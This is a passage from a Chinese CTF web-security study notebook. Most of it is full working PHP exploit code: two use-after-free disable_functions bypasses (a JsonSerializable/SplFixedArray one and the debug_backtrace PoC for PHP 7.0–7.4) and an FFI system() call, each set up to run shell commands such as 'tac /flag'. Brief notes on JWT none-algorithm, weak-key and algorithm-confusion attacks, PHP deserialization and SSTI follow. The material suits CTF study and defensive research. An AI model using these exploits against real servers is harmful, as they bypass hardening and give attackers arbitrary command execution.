$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
public static $leak;
}

class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

# unable to leak ro segments
public function leak1($addr) {
global $spl1;

$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}

# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;

# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

return $leak;
}

public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);

$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');

$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();

$_protector = $this->ptr2str(0, 78);

$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');

unset($y[0]);
unset($p);

$protector = ".$_protector";

$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000

if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}

$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();

# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;

# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry

# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}

# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}

# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;

$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}

# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}

# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}

# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

$spl1->offsetGet($cmd);

exit();
}
}

$y = [new Z()];
json_encode([&$y]);

17.7 Backtrace UAF

方法一:蚁剑插件PHP7_Backtrace_UAF

方法二:脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("tac /flag");

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

17.8 FFI 扩展

PHP >= 7.4
开启了 FFI 扩展且 ffi.enable=true

方法一:蚁剑插件PHP74_FFI

方法二:脚本

1
2
3
4
5
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("tac /flag > /tmp/hack");
echo file_get_contents("/tmp/hack");
@unlink("/tmp/hack");

17.9 iconv

蚁剑方法同11.4

18. JSON Web Token

认识JWT:https://www.wolai.com/ctfhub/hcFRbVUSwDUD1UTrPJbkob

以下writeup看:https://blog.csdn.net/qq_46150940/article/details/113440680

18.1 无签名

一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证。

18.2 弱密钥

如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。

18.3 修改签名算法

有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。

19. PHP

1
处理错误看日志,学习用法读文档

WAMP-Windows Apache MySQL PHP

LAMP-Linux Apache MySQL PHP

echo/print

1
2
3
4
5
echo-可以输出一个或多个字符串,没有返回值
print-只允许输出一个字符串(但可以用.连接字符串),返回值总为1
echo输出速度比print快
echo 'hh','aa';
print 'hh'.'aa';

松散比较==,只比较值,不比较类型

严格比较===,比较值和类型

19.1 序列化与反序列化

序列化/反序列化 给我们传递对象提供了一种简单的办法

1
2
serialize()将一个对象转化成一个字符串
unserialize()将字符串还原为一个对象

反序列化与POP链(Property-Oriented Programing)

与二进制的ROP(Return-Oriented Programing)原理相似,从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。

__toString()触发条件:

  1. echo($obj)/print($obj)
  2. 字符串连接时
  3. 格式化字符串时
  4. 与字符串进行\==比较时(PHP进行==比较时会转换参数类型)
  5. 格式化SQL语句,绑定参数时
  6. 数组中有字符串时

20. 模板注入

SSTI(Server-side temple injection)服务端模板注入